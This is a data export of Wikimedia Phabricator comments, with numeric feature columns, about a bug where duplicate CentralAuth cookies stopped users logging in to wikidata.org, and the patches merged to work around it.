[[https://gerrit.wikimedia.org/r/234517]]",,,1440776206,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,15.0,4.2,0.9,"Change 234517 merged by BBlack:
refactor wikidata CA cookies workarounds a bit

[[GERRIT_URL]]"
516633,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"Change 234517 had a related patch set uploaded (by BBlack):
refactor wikidata CA cookies workarounds a bit

[[https://gerrit.wikimedia.org/r/234517]]
",,,1440766915,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,15.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,11.0,4.0,0.8518518518518519,"Change 234517 had a related patch set uploaded (by BBlack):
refactor wikidata CA cookies workarounds a bit

[[GERRIT_URL]]
"
516628,[Bug] Users are unable to login on wikidata.org until they clear their cookies,@Keegan Thx. Should be fixed now. Please retry.,,,1440766680,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,True,,,8,True,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.8181818181818182,SCREEN_NAME Thx. Should be fixed now. Please retry.
516620,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"Change 234510 merged by BBlack:
Another CentralAuth double cookie workaround

[[https://gerrit.wikimedia.org/r/234510]]",,,1440765422,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.666666666666667,0.8888888888888888,"Change 234510 merged by BBlack:
Another CentralAuth double cookie workaround

[[GERRIT_URL]]"
516613,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"Change 234510 had a related patch set uploaded (by JanZerebecki):
Another CentralAuth double cookie workaround

[[https://gerrit.wikimedia.org/r/234510]]
",,,1440764544,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.56,0.88,"Change 234510 had a related patch set uploaded (by JanZerebecki):
Another CentralAuth double cookie workaround

[[GERRIT_URL]]
"
516158,[Bug] Users are unable to login on wikidata.org until they clear their cookies,">>! In T109038#1576174, @JanZerebecki wrote:
> If you can still reproduce this, we need to know your cookies for wikidata.org and subdomains to be able to fix this. (At least the cookie names/keys, don't publicly publish the values. You can send me a private message through Phabricator or on wiki if you want to be sure to not accidentally publish something private.)

Reproduced and sent to @JanZerebecki and @aude",,,1440706863,,PHID-USER-fwlidikyeorzj35hufwu,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.333333333333333,0.8888888888888888,"QUOTE
QUOTE

Reproduced and sent toSCREEN_NAME andSCREEN_NAME"
515109,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"If you can still reproduce this, we need to know your cookies for wikidata.org and subdomains to be able to fix this. (At least the cookie names/keys, don't publicly publish the values. You can send me a private message through Phabricator or on wiki if you want to be sure to not accidentally publish something private.)",,,1440610704,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,True,,,7,True,0.0,2.0,0.0,0.0,3.0,8.0,3.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,8.0,17.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,5.0,3.0,6.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,9.0,17.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,4.03030303030303,0.7878787878787878,"If you can still reproduce this, we need to know your cookies for wikidata.org and subdomains to be able to fix this. (At least the cookie names/keys, don't publicly publish the values. You can send me a private message through Phabricator or on wiki if you want to be sure to not accidentally publish something private.)"
514000,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"Added a notice to our homepage, a sitenotice seems annoying to me.",,,1440486938,,PHID-USER-pr6rfjdcmkknkex6dgn5,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,3.9285714285714284,0.8571428571428571,"Added a notice to our homepage, a sitenotice seems annoying to me."
513999,[Bug] Users are unable to login on wikidata.org until they clear their cookies,Apparently people are still having issues: https://www.wikidata.org/wiki/Wikidata:Project_chat#Central_login_.282.29 :(,,,1440486821,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.666666666666667,1.0,Apparently people are still having issues: URL :(
512713,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"Pushed a fix for deleting the duplicate centralauth_User for wikidata.org, should be in effect globally now.",,,1440204947,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,5.166666666666667,0.9444444444444444,"Pushed a fix for deleting the duplicate centralauth_User for wikidata.org, should be in effect globally now."
512711,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"Change 233086 merged by BBlack:
Fix remaining wikidata login issues: duplicate CA User

[[https://gerrit.wikimedia.org/r/233086]]",,,1440204625,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,4.136363636363637,0.8636363636363636,"Change 233086 merged by BBlack:
Fix remaining wikidata login issues: duplicate CA User

[[GERRIT_URL]]"
512710,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"Change 233086 had a related patch set uploaded (by BBlack):
Fix remaining wikidata login issues: duplicate CA User

[[https://gerrit.wikimedia.org/r/233086]]
",,,1440204525,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,3.9655172413793105,0.896551724137931,"Change 233086 had a related patch set uploaded (by BBlack):
Fix remaining wikidata login issues: duplicate CA User

[[GERRIT_URL]]
"
512706,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"Ah, that makes some logical sense.  We should probably stripping duplicate _User the way we are for duplicate _Token to address the bulk of it....",,,1440204220,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,True,,,7,True,3.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,10.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,13.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,10.0,10.0,3.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.935483870967742,0.9032258064516129,"Ah, that makes some logical sense.  We should probably stripping duplicate _User the way we are for duplicate _Token to address the bulk of it...."
512662,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"I hit this also tonight.

If it helps: I had two ""centralauth_User"" cookies: one for previously logged user and another one for currently logged user (I was relogging to another account)",,,1440198231,,PHID-USER-2ji2k3idgmipacu4ftck,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,10.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,10.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,4.0256410256410255,0.7692307692307693,"I hit this also tonight.

If it helps: I had two ""centralauth_User"" cookies: one for previously logged user and another one for currently logged user (I was relogging to another account)"
510052,[Bug] Users are unable to login on wikidata.org until they clear their cookies,Sadly there is no way to reproduce it once the cookies are deleted.,,,1439893344,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,7.0,7.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9285714285714284,1.0,Sadly there is no way to reproduce it once the cookies are deleted.
509984,[Bug] Users are unable to login on wikidata.org until they clear their cookies,At least one user still had this problem today. See https://www.wikidata.org/wiki/Wikidata:Project_chat#Central_login.,,,1439880836,,PHID-USER-74kolctr2gbwr2mtan63,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,6,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.75,1.0,At least one user still had this problem today. See URL
508494,[Bug] Users are unable to login on wikidata.org until they clear their cookies,">>! In T109038#1540332, @JanZerebecki wrote:
> @csteipp Sorry I missed that. I don't have the tab open anymore. I don't remember the order but in the Cookie HTTP header there where two key-value pairs for centralauth_Token with different values. One for www.wikidata.org and one for .wikidata.org . See the patch for the regex that matched that situation. After that the .wikidata.org one was deleted. Should that also be fixed in CentralAuth?

Yeah, I was mostly interested if that was in fact the issue. So confirmed.

To avoid this in the future, we could look at how CentralAuth gets the cookie and see if we can either identify the correct one or check all of the ones that come in.",,,1439575080,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,True,,,6,True,2.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,14.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,3.0,12.0,5.0,5.0,14.0,0.0,0.0,0.0,0.0,9.0,2.0,2.0,0.0,5.0,14.0,2.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.603448275862069,0.7413793103448276,"QUOTE
QUOTE

Yeah, I was mostly interested if that was in fact the issue. So confirmed.

To avoid this in the future, we could look at how CentralAuth gets the cookie and see if we can either identify the correct one or check all of the ones that come in."
508459,[Bug] Users are unable to login on wikidata.org until they clear their cookies,@csteipp Sorry I missed that. I don't have the tab open anymore. I don't remember the order but in the Cookie HTTP header there where two key-value pairs for centralauth_Token with different values. One for www.wikidata.org and one for .wikidata.org . See the patch for the regex that matched that situation. After that the .wikidata.org one was deleted. Should that also be fixed in CentralAuth?,,,1439572858,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.0,3.0,3.0,4.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,4.0,0.0,8.0,11.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,13.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,8.0,3.0,16.0,1.0,3.0,13.0,0.0,0.0,0.0,0.0,5.0,1.0,4.0,0.0,4.0,11.0,8.0,1.0,0.0,0.0,4.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.466666666666667,0.68,SCREEN_NAME Sorry I missed that. I don't have the tab open anymore. I don't remember the order but in the Cookie HTTP header there where two key-value pairs for centralauth_Token with different values. One for www.wikidata.org and one for .wikidata.org . See the patch for the regex that matched that situation. After that the .wikidata.org one was deleted. Should that also be fixed in CentralAuth?
508312,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"We think the workaround deployed via https://gerrit.wikimedia.org/r/231556 should fix this up well enough.  It worked for @JanZerebecki who still had the old bad cookie, which the fixup wiped out.  Can others confirm?",,,1439561653,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,8.0,0.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,0.0,11.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,8.0,8.0,0.0,3.0,0.0,0.0,8.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.243243243243243,0.8918918918918919,"We think the workaround deployed via GERRIT_URL should fix this up well enough.  It worked forSCREEN_NAME who still had the old bad cookie, which the fixup wiped out.  Can others confirm?"
508311,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"Change 231558 merged by BBlack:
wikidata.org cookie workaround: add comments re task and when it can be removed

[[https://gerrit.wikimedia.org/r/231558]]",,,1439561543,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,6,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,4.0,7.0,7.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,4.111111111111111,0.8888888888888888,"Change 231558 merged by BBlack:
wikidata.org cookie workaround: add comments re task and when it can be removed

[[GERRIT_URL]]"
508310,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"Change 231558 had a related patch set uploaded (by BBlack):
wikidata.org cookie workaround: add comments re task and when it can be removed

[[https://gerrit.wikimedia.org/r/231558]]
",,,1439561509,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,6,True,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,9.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,6.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,9.0,3.9705882352941178,0.9117647058823529,"Change 231558 had a related patch set uploaded (by BBlack):
wikidata.org cookie workaround: add comments re task and when it can be removed

[[GERRIT_URL]]
"
508303,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"Change 231556 merged by BBlack:
Attempt to fix CA token issue via double-value detection -> delete on .wikidata.org

[[https://gerrit.wikimedia.org/r/231556]]",,,1439560596,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,6,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.9655172413793105,0.896551724137931,"Change 231556 merged by BBlack:
Attempt to fix CA token issue via double-value detection -> delete on .wikidata.org

[[GERRIT_URL]]"
508293,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"Change 231556 had a related patch set uploaded (by BBlack):
Attempt to fix CA token issue via double-value detection -> delete on .wikidata.org

[[https://gerrit.wikimedia.org/r/231556]]
",,,1439559312,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,6,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,11.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,11.0,3.861111111111111,0.8888888888888888,"Change 231556 had a related patch set uploaded (by BBlack):
Attempt to fix CA token issue via double-value detection -> delete on .wikidata.org

[[GERRIT_URL]]
"
508282,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"@bblack, if you're able to reproduce, can you capture the headers and send
them to me? Or post here if you're comfortable.

I'm guessing you ended up with two token/session cookies, and either guy
the wrong one or the browser sends both and we're parsing the wrong one
